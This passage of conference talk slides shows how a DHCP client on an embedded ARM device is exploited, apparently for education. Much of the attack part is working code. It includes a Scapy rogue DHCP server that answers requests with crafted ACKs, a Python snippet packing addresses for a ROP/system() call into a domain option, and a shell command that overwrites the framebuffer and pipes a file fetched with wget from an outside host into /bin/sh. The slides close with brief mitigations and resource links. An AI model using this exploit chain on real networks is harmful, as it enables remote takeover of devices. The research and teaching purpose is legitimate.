            giaddr=gateway_ip,
            chaddr=toMAC(clientMAC),
            xid=pkt[BOOTP].xid
        )/
        DHCP(options=opts)
    
    p.show()
    sendp(p)
    print "DHCP Ack packet sent"

def main():
    #sniff DHCP requests
    print "Starting scapy..."
    sniff(filter="udp and (port 67 or 68)", prn=detect_dhcp, iface=iface_name)
EXPLOITING THE VULNERABLE CODE PATH

• **We control the Execution Flow** 🤘
• **The funky byte pattern we’ve used tells us which register we control and how**
• **I skipped one detail**
  • **There were a couple more Segfaults before this one**
  • **Invalid reads to addresses we have overwritten with our payload**
    • LDR R0, [R1] with R1 = 0x41414141 (or similar)
  • **Need to know an Address that can be read/written to (same as the original Exploit)**
    • OOPS, there’s No ASLR…
    • Pick an address in a writable region just to be safe
      • `cat /proc/[pid]/vm_map`
LET’S CRAFT A SHELLCODE?
EXPLOITING THE VULNERABLE CODE PATH

• **We’re not exactly sure where our payload is in memory**

• **And that’s the memory map we have**

```plaintext
00008000-00071000 r-xp  00000000 00:02  255 /bin/dhclient
00078000-0007b000 rw-p  00068000 00:02  255 /bin/dhclient
0007b000-00085000 rw-p  00000000 00:00  0
0008a000-0008d000 rw-p  0006a000 00:02  255 /bin/dhclient
0008d000-000ed5000 rw-p  00000000 00:00  0 [heap]
```

• **Stack and heap doesn’t appear to be executable**
  • **Should we Rop then?**
EXPLOITING THE VULNERABLE CODE PATH

• We’re not exactly sure where our payload is in memory

• And that’s the memory map we have

```
00008000-00071000 r-xp 00000000 00:02 255 /bin/dhclient
00078000-0007b000 r-wp 00000000 00:02 255 /bin/dhclient
0007b000-00085000 rw-p 00000000 00:00 0
0008a000-0008d000 rw-p 00000000 00:02 255 /bin/dhclient
0008d000-000e5000 rw-p 00000000 00:00 0 [heap]
```

• Stack and heap doesn’t appear to be executable

• Should we ROP then? We DO control R4 😈
EXPLOITING THE VULNERABLE CODE PATH

- We can hunt for data to be copied in a static location
  - Try lots of different DHCP options, fill them with “AAAA…”
  - Then look for the string in memory
- The “domain” option is a good one.

```python
payload = patch(payload, struct.pack("<I", 0x7b000), 4*4)  # 0xe7b000 address that can be read/write
payload = patch(payload, struct.pack("<I", 0x4), 6*4)  # Size field, needs to be 4
payload = patch(payload, struct.pack("<I", 0x7b000), 8*4)
payload = patch(payload, struct.pack("<I", 0x7b000), 9*4)

shell_address = 0x0020A000  # look for the address yourself
system_address = 0x0028AAA4
payload = patch(payload, struct.pack("<I", shell_address), 11*4)
payload = patch(payload, struct.pack("<I", system_address), 0x13*4)

dhcp_option += \"\x01\" + chr(len(payload)) + payload + \"\xFF\"

shell_command = '\"+15 + \" cat /dev/urandom > /dev/fb0;ifconfig eth0 192.168.100.56;\" shell_command+= '\"sleep 5; wget http://192.168.100.50/a -O - | /bin/sh \"'
DEMO TIME!
CONCLUSION

• **Mitigation?**
  • Monitor your network
  • Segregate your network
  • Tell IT to Patch!

• **Why this kind of bug can happen?**
  • Technical debt is hard

• **Embedded devices aren’t black boxes**
  • You too can find these bugs now!
QUESTIONS?

Find me on twitter @phLaul

THANK YOU ALL!
RESSOURCES
TUTORIALS

• ARM
  • HTTPS://AZERIA-LABS.COM/WRITING-ARM-ASSEMBLY-PART-1/

• FINDING THE BASE ADDRESS OF A BOOTLOADER
  • HTTPS://BLOG.QUARKSLAB.COM/REVERSE-ENGINEERING-SAMSUNG-S6-BOOT-PART-1.HTML

• QEMU:
  • HTTPS://LEARNINGFROMYOU.BLOG.WORDPRESS.COM/2016/04/05/131/
  • HTTPS://ALBERAND.GITHUB.IO/HOST-ONLY-NETWORKING-SET-UP-FOR-QEMU-HYPERVISOR.HTML

• FLASH MODIFICATION
  • HTTPS://WWW.FLASHROM.ORG/ISP

• GENERAL HARDWARE HACKING
  • HTTP://WWW.DEVITYS0.COM/2012/11/REVERSE-ENGINEERING-SERIAL-PORTS/
  • HTTPS://WWW.DEFCON.ORG/IMAGES/DEFCON-21/DC-21-PRESENTATIONS/PHORKUS-EVILROB/DEFCON-21-PHORKUS-EVILROB-HACKING-EMBEDDED.DEVICES-BAD-THINGS-TO-GOOD-HARDWARE.PDF
  • HTTPS://WWW.FENETESTPARTNERS.COM/SECURITY-BLOG/HOW-TO-READ-FROM-AN-EEPROM/
  • HTTPS://BLOG.SENR.IO/BLOG/JTAG-EXPLAINED

• GLITCHING ATTACK
  • HTTPS://WWW.YOUTUBE.COM/WATCH?v=1eCQatNcF20 (Gluchy Descriptor Firmware Grab - scanlime:015)
PRIOR WORK

• **Red Balloon Security Presentations on Avaya**
  - [HTTPS://WWW.RSACONFERENCE.COM/WRITABLE/PRESENTATIONS/FIL_E UPLOAD/BR-T08-EMBEDDED-EXPLOITATION-PARTY-TRICK.PDF](HTTPS://WWW.RSACONFERENCE.COM/WRITABLE/PRESENTATIONS/FIL_E UPLOAD/BR-T08-EMBEDDED-EXPLOITATION-PARTY-TRICK.PDF)

• **Dhclient exploits**
  - [HTTPS://WWW.EXPLOIT-DB.COM/EXPLOITS/9265](HTTPS://WWW.EXPLOIT-DB.COM/EXPLOITS/9265)
  - [HTTPS://WWW.EXPLOIT-DB.COM/EXPLOITS/36933](HTTPS://WWW.EXPLOIT-DB.COM/EXPLOITS/36933)
CAPTURE THE FLAG

• HTTPS://MICROCORRUPTION.COM/
• HTTPS://HOLIDAYHACKCHALLENGE.COM/2015/
• HTTPS://GITHUB.COM/PRAETORIAN-CODE/DVRF